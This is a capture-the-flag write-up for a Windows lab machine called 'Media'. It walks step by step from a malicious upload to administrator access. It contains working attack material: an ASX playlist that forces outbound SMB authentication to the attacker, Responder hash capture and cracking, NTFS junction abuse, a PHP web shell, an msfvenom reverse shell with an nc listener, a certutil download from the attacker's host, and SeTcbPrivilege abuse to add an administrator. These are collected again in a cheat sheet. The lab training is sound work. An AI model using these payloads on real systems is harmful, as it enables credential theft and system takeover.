π¬ Media
Machine: Media
Difficulty: Medium
Theme: Malicious media upload β NetNTLMv2 capture β SSH β source-code review β NTFS junction abuse β PHP RCE β SeTcbPrivilege abuse β local Administrator
π― Summary
Media is a Windows machine exposing SSH, HTTP, and RDP. The web application is hosted on Apache/XAMPP and contains an upload form intended for media submissions.
The initial foothold comes from abusing the upload workflow. A Windows Media Player-compatible playlist file is uploaded with a UNC path pointing back to the attacker machine. When the file is processed, the target initiates outbound SMB authentication, allowing Responder to capture a NetNTLMv2 hash for MEDIA\enox.
The captured hash is cracked offline with Hashcat mode 5600 and rockyou.txt, producing valid credentials for enox. SSH access as enox allows source-code review of the PHP web application. The upload logic stores files under a predictable MD5-derived folder inside C:\Windows\Tasks\Uploads.
Because the upload directory permissions are overly permissive, the predictable upload subfolder is replaced with an NTFS junction pointing to C:\xampp\htdocs. Uploading a PHP file through the normal form then places the file directly in the Apache web root, resulting in PHP command execution as NT AUTHORITY\LOCAL SERVICE.
The LOCAL SERVICE context has SeTcbPrivilege present. A focused TCB elevation PoC is compiled as a Windows x64 binary and executed from the LOCAL SERVICE shell to add enox to the local Administrators group. After reconnecting over SSH, enox receives a high-integrity administrator token and can access the Administrator desktop.
1. Enumeration
Initial scanning showed only three open TCP ports:
sudo nmap -sC -sV -vv -oA nmap/media [TARGET_IP]Open services:
22/tcp open ssh
80/tcp open http
3389/tcp open ms-wbt-serverA broader TCP scan confirmed the same exposed services:
sudo nmap -p- -Pn --min-rate=5000 -T4 -oA nmap/media_ports [TARGET_IP]Interesting observations:
22/tcp OpenSSH for Windows
80/tcp Apache httpd / XAMPP / PHP
3389/tcp Microsoft Terminal ServicesThe HTTP service hosted a site called ProMotion Studio. The main point of interest was a file upload form for media submissions.
2. Upload Function Enumeration
The upload form accepted several file types, including normal media/document files and Windows Media Player-related playlist files.
Generic file upload attacks such as path traversal or direct PHP upload were considered first, but the stronger clue was the applicationβs media review workflow. If a Windows-side user or process opened a submitted media playlist, the file could reference an external UNC path and trigger outbound SMB authentication.
The target did not need inbound SMB open. The important condition was whether the target could initiate outbound SMB to the attacker machine.
3. ASX Playlist to Trigger SMB Authentication
A malicious ASX playlist was created with a UNC reference to the attacker VPN IP:
<asx version="3.0">
<title>SMB Event Trigger</title>
<entry>
<ref href="\\[LHOST]\shared_folder\payload.mp3" />
</entry>
</asx>Responder was started on the HTB VPN interface:
sudo responder -I tun0 -vImportant gotcha:
Responder must be able to bind SMB-related ports, especially 445 and 139. If Responder shows binding errors, check for stale Responder/Python processes:
sudo ss -tulpn | grep -E ':(445|139|137|138)\b'
sudo ps -fp [PID]
sudo kill [PID]Then restart Responder and verify it shows the correct VPN IP:
Responder NIC [tun0]
Responder IP [[LHOST]]
Listening for events...After uploading the ASX file through the web form, Responder captured a NetNTLMv2 hash for:
MEDIA\enox4. Cracking the NetNTLMv2 Hash
The captured hash was saved to a file and cracked with Hashcat mode 5600:
hashcat -m 5600 enox.hash /usr/share/wordlists/rockyou.txtRecovered credentials:
enox : [REDACTED]Because WinRM was not exposed but SSH was open, SSH was tested next:
ssh enox@[TARGET_IP]This provided an interactive Windows shell as:
media\enoxUser flag:
type C:\Users\enox\Desktop\user.txt5. Web Application Source Review
After gaining SSH access as enox, the web stack was inspected. The server used XAMPP, and the web root was located at:
C:\xampp\htdocsThe main PHP application file was:
type C:\xampp\htdocs\index.phpThe upload logic revealed two important details:
$uploadDir = 'C:/Windows/Tasks/Uploads/';
$folderName = md5($firstname . $lastname . $email);The uploaded file was saved under:
C:\Windows\Tasks\Uploads\<md5(firstname + lastname + email)>\The filename was sanitized, but the directory name was predictable because it was derived directly from the submitted form fields.
Important gotcha:
If the form values are:
firstname = [FIRSTNAME]
lastname = [LASTNAME]
email = [EMAIL]The string being hashed is the exact concatenation:
[FIRSTNAME][LASTNAME][EMAIL]There are no spaces between fields unless spaces are actually entered into the form.
Example MD5 calculation:
echo -n "[FIRSTNAME][LASTNAME][EMAIL]" | md5sum6. Upload Directory Permissions
The upload directory was inspected:
cd C:\Windows\Tasks\Uploads
dirPermissions were checked with PowerShell:
Get-Acl -Path "C:\Windows\Tasks\Uploads\<MD5_FOLDER>"The upload subfolder was owned by NT AUTHORITY\LOCAL SERVICE, and the ACL allowed broad modification rights. This meant the predictable MD5 upload subfolder could be moved or removed and replaced with a filesystem link.
7. NTFS Junction to Apache Web Root
The objective was not to replace the entire Uploads directory. Only the predictable MD5 subfolder had to be replaced.
The original upload folder was moved out of the way:
Move-Item -Path "C:\Windows\Tasks\Uploads\<MD5_FOLDER>" -Destination "C:\Temp"Then a directory junction was created at the same path, pointing to the Apache web root:
New-Item -ItemType Junction `
-Path "C:\Windows\Tasks\Uploads\<MD5_FOLDER>" `
-Target "C:\xampp\htdocs"Alternatively, with cmd.exe:
mklink /J C:\Windows\Tasks\Uploads\<MD5_FOLDER> C:\xampp\htdocsVerification:
dir C:\Windows\Tasks\UploadsThe folder appeared as a junction/link:
<JUNCTION> <MD5_FOLDER> [C:\xampp\htdocs]Entering the MD5 folder showed the contents of the web root:
assets
css
js
index.phpThis was expected. The folder was not empty because it was transparently resolving to C:\xampp\htdocs.
8. PHP Web Shell Upload
A simple PHP command shell was created:
<?php system($_GET['cmd']); ?>Saved as test.php. The file was uploaded through the normal web form using the same firstname, lastname, and email values used to generate the junctioned MD5 folder.
After upload, it appeared in the Apache web root:
dir C:\xampp\htdocsCommand execution was confirmed from the browser:
http://[TARGET_IP]/test.php?cmd=whoamiOutput:
nt authority\local serviceThis confirmed PHP code execution as the Apache service account.
A reverse shell was then uploaded and triggered:
msfvenom -p php/reverse_php LHOST=[LHOST] LPORT=4444 -f raw > shell.phpListener:
nc -lvnp 4444Trigger:
http://[TARGET_IP]/shell.phpThe callback landed as:
nt authority\local service9. LOCAL SERVICE Privilege Enumeration
From the reverse shell, privileges were checked:
whoami /privImportant output:
SeTcbPrivilege Act as part of the operating system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects EnabledThe important finding was SeTcbPrivilege. Although it showed as Disabled, the privilege was present in the token and could be enabled/used by a suitable native PoC.
Groups were also checked:
whoami /groupsThe identity was still LOCAL SERVICE, not SYSTEM.
10. Compiling the TCB Elevation PoC
A focused SeTcbPrivilege PoC was used instead of a larger framework.
Because the attacker machine was Parrot on ARM64, the PoC was cross-compiled into a Windows x64 binary using MinGW-w64.
Install the toolchain:
sudo apt update
sudo apt install -y mingw-w64 g++-mingw-w64-x86-64Compile:
x86_64-w64-mingw32-g++ TcbElevation.cpp \
-o TcbElevation-x64.exe \
-lsecur32 -ladvapi32 \
-static -static-libgcc -static-libstdc++ \
-municodeVerify the output:
file TcbElevation-x64.exeExpected:
PE32+ executable (console) x86-64, for MS Windows11. Transfer the PoC to the Target
A Python HTTP server was started on the attacker machine:
python3 -m http.server 8000From the target, the binary was downloaded into C:\Temp:
cd C:\Temp
certutil -urlcache -split -f http://[LHOST]:8000/TcbElevation-x64.exe TcbElevation-x64.exeBefore running the PoC, the shell context was verified again:
whoami
whoami /privRequired context:
nt authority\local service
SeTcbPrivilege ... DisabledImportant gotcha:
The PoC must not be run from the SSH session as enox, because enox does not have SeTcbPrivilege. It has to be triggered from the PHP-spawned LOCAL SERVICE shell.
12. Abuse SeTcbPrivilege
The PoC was executed from the LOCAL SERVICE shell to add enox to the local Administrators group:
.\TcbElevation-x64.exe elevate "net localgroup Administrators enox /add"The tool returned a service-related error:
Error starting service 1053or:
Error creating service 1073This was misleading. The actual result had to be verified directly:
net localgroup AdministratorsOutput showed:
Members
-------------------------------------------------------------------------------
Administrator
enox
The command completed successfully.This confirmed that the administrative action succeeded.
13. Refresh enox Token and Get Administrator Access
The existing SSH session as enox was created before group membership changed, so it did not immediately reflect the new administrator rights.
The SSH session was closed and reopened:
ssh enox@[TARGET_IP]Group membership was checked:
whoami /groupsImportant output:
BUILTIN\Administrators
Mandatory Label\High Mandatory LevelPrivileges were also checked:
whoami /privThe new session had a high-integrity admin token with many enabled privileges.
Root flag:
type C:\Users\Administrator\Desktop\root.txtThis completed the machine.
π Condensed Attack Chain
HTTP upload form
β
Upload ASX playlist with UNC reference
β
Target opens/processes media file
β
Outbound SMB authentication to attacker
β
Responder captures NetNTLMv2 for MEDIA\enox
β
Hashcat mode 5600 + rockyou.txt
β
Recovered enox credentials
β
SSH as enox
β
Source review of C:\xampp\htdocs\index.php
β
Upload path discovered:
C:\Windows\Tasks\Uploads\md5(firstname + lastname + email)
β
Upload folder ACLs allow modification
β
Replace predictable MD5 folder with NTFS junction to C:\xampp\htdocs
β
Upload PHP web shell through normal form
β
PHP RCE as NT AUTHORITY\LOCAL SERVICE
β
whoami /priv reveals SeTcbPrivilege
β
Run TcbElevation PoC from LOCAL SERVICE shell
β
Add enox to local Administrators
β
Reconnect over SSH as enox
β
High-integrity administrator token
β
Root flagπ§ Key Takeaways
- The upload form was not dangerous only because it accepted arbitrary files. The real issue was that uploaded media files were later opened or processed by a Windows-side component, allowing a malicious playlist to force outbound SMB authentication.
- Inbound SMB on the target did not matter. The attack depended on the target initiating SMB to the attacker.
- Responder must have a clean SMB listener. If ports
445or139are already bound by an old Responder instance or Samba, the capture path will fail silently or partially. - NetNTLMv2 hashes are not passwords, but they can often be cracked offline if the password is weak. Hashcat mode
5600is the relevant mode. - Source-code review after foothold was decisive. The PHP upload handler revealed both the base upload directory and the predictable MD5 folder naming logic.
- The MD5 input is the exact concatenation of form fields. Extra spaces, capitalization changes, or different email values create a different upload folder.
- The NTFS junction abuse worked because the predictable upload subfolder was writable/removable and the web server could write into the Apache web root.
- Seeing
assets,css,js, andindex.phpinside the MD5 folder after creating the junction was expected. It meant the junction was resolving toC:\xampp\htdocs. LOCAL SERVICEis not automatically powerful, but service-account contexts can have unusual privileges. In this case,SeTcbPrivilegewas the decisive privesc clue.- A privilege showing as
Disabledinwhoami /privcan still be exploitable if it is present in the token. The exploit process can enable it internally. - Tool output can be misleading. The TCB PoC printed service errors, but the group membership change succeeded. Always verify impact directly.
- Windows group membership changes require a fresh logon token. After adding
enoxto Administrators, reconnecting over SSH was necessary to receive the high-integrity admin token.
β‘ Commands Cheat Sheet
# Initial scan
sudo nmap -sC -sV -vv -oA nmap/media [TARGET_IP]
# Full TCP scan
sudo nmap -p- -Pn --min-rate=5000 -T4 -oA nmap/media_ports [TARGET_IP]# Check if SMB ports are already occupied on attacker
sudo ss -tulpn | grep -E ':(445|139|137|138)\b'
# Kill stale listener/process if needed
sudo ps -fp [PID]
sudo kill [PID]
# Start Responder
sudo responder -I tun0 -v<!-- ASX trigger file -->
<asx version="3.0">
<title>SMB Event Trigger</title>
<entry>
<ref href="\\[LHOST]\shared_folder\payload.mp3" />
</entry>
</asx># Crack NetNTLMv2
hashcat -m 5600 enox.hash /usr/share/wordlists/rockyou.txt
# SSH as enox
ssh enox@[TARGET_IP]:: Find web root and inspect source
cd C:\xampp\htdocs
type index.php
:: Check upload storage
cd C:\Windows\Tasks\Uploads
dir# Calculate predictable MD5 folder
echo -n "firstnamelastnameemail@example.com" | md5sum# Check ACLs
Get-Acl -Path "C:\Windows\Tasks\Uploads\<MD5_FOLDER>"
# Move/remove original MD5 upload folder
Move-Item -Path "C:\Windows\Tasks\Uploads\<MD5_FOLDER>" -Destination "C:\Temp"
# Create junction to web root
New-Item -ItemType Junction `
-Path "C:\Windows\Tasks\Uploads\<MD5_FOLDER>" `
-Target "C:\xampp\htdocs":: cmd.exe alternative
mklink /J C:\Windows\Tasks\Uploads\<MD5_FOLDER> C:\xampp\htdocs<?php system($_GET['cmd']); ?># Trigger command execution
http://[TARGET_IP]/test.php?cmd=whoami
http://[TARGET_IP]/test.php?cmd=whoami%20%2Fpriv# PHP reverse shell
msfvenom -p php/reverse_php LHOST=[LHOST] LPORT=4444 -f raw > shell.php
# Listener
nc -lvnp 4444# Compile TCB PoC for Windows x64 from Parrot/Kali
sudo apt install -y mingw-w64 g++-mingw-w64-x86-64
x86_64-w64-mingw32-g++ TcbElevation.cpp \
-o TcbElevation-x64.exe \
-lsecur32 -ladvapi32 \
-static -static-libgcc -static-libstdc++ \
-municode
file TcbElevation-x64.exe# Serve binary
python3 -m http.server 8000:: Download binary to target
cd C:\Temp
certutil -urlcache -split -f http://[LHOST]:8000/TcbElevation-x64.exe TcbElevation-x64.exe
:: Verify correct execution context
whoami
whoami /priv
:: Run TCB elevation action from LOCAL SERVICE shell
.\TcbElevation-x64.exe elevate "net localgroup Administrators enox /add"
:: Verify admin group
net localgroup Administrators# Reconnect as enox to refresh token
ssh enox@[TARGET_IP]:: Verify admin token
whoami /groups
whoami /priv
:: Root flag
type C:\Users\Administrator\Desktop\root.txtπ Related Manual Notes
Field-manual techniques demonstrated on this box:
- File_Upload_Attacks β malicious upload (ASX)
- AD_LLMNR_Poisoning β Responder NetNTLMv2 capture
- Password_Cracking_Hashcat β cracking the captured hash
- Web_Shell_PHP β PHP web shell
- Windows_PrivEsc_Token_Privileges β SeTcbPrivilege abuse
π§ Diagnostic Map
Quick lookup of common failure signals seen on this machine and the correct recovery move. Use this when output looks βwrongβ but the underlying step is actually salvageable.
Symptom: Responder fails to bind 445/139 or shows port-in-use errors
Meaning: A stale Responder process or local Samba is holding the SMB ports
Next: sudo ss -tulpn | grep -E ':(445|139)\b', kill the holder, then restart Responder
Symptom: Uploaded the ASX file but no NetNTLMv2 hash arrives
Meaning: Responder is up but not on the path the victim reaches, or the SMB callback never fired
Next: Confirm Responder is bound to the VPN interface (-I tun0) and that the UNC path in the ASX matches your VPN IP
Symptom: Captured a NetNTLMv2 hash but Hashcat refuses it
Meaning: Wrong mode for NetNTLMv2
Next: Use Hashcat mode 5600: hashcat -m 5600 hash rockyou.txt
Symptom: Cracked credentials but WinRM doesnβt respond on this Windows box
Meaning: WinRM isnβt exposed here, but OpenSSH for Windows is β try SSH directly
Next: ssh enox@<TARGET> with the cracked password
Symptom: Generated MD5 folder doesnβt match the path the app wrote to
Meaning: The hash input is the exact concatenation of form fields β even spaces or casing changes the digest
Next: Recompute with the literal form values: echo -n "firstnamelastnameemail" | md5sum
Symptom: Entering the MD5 upload folder shows assets/css/js/index.php
Meaning: The junction is resolving to C:\xampp\htdocs β this is the intended result, not a bug
Next: Proceed to upload the PHP shell through the normal form; it will land in the web root
Symptom: whoami /priv shows SeTcbPrivilege as Disabled
Meaning: βDisabledβ doesnβt mean unusable β the privilege is still present in the token
Next: A native PoC (e.g. a TCB elevation tool) can enable and use it from inside the process
Symptom: TCB elevation PoC prints Error starting service 1053 (or 1073)
Meaning: Tool output is misleading β the privileged action may have already succeeded
Next: Verify impact directly: net localgroup Administrators to see if the group changed
Symptom: Added enox to Administrators but the existing SSH session still has low-priv groups
Meaning: Windows logon tokens are frozen at logon; group changes need a fresh logon
Next: Disconnect and reconnect SSH β the new session will have the high-integrity admin token
Symptom: PoC is being run from the SSH session as enox but SeTcbPrivilege is missing
Meaning: enox doesnβt have SeTcbPrivilege; only the PHP-spawned LOCAL SERVICE shell does
Next: Trigger the PoC from inside the PHP/LOCAL SERVICE reverse shell, not from SSH
π Personal Notes
The decisive mental shift on Media is realizing that the upload form is not just a file-write surface. The uploaded file is later consumed by a Windows-side component, so the file can be used to trigger outbound authentication.
The second decisive step is source review. Once index.php reveals the predictable upload path, the problem becomes a filesystem abuse issue rather than a normal web exploit.
The NTFS junction trick is easy to misunderstand at first. After the junction is created, entering the MD5 upload folder shows the contents of C:\xampp\htdocs; this is a sign that the redirect worked, not a sign that something went wrong.
The final privilege escalation is also a good reminder that service accounts should be reviewed carefully. LOCAL SERVICE looked low-privileged, but SeTcbPrivilege made it dangerous.
The TCB PoC errors were a useful lesson: exploit output is not always authoritative. The correct verification was checking net localgroup Administrators and then reconnecting as enox to get a fresh high-integrity token.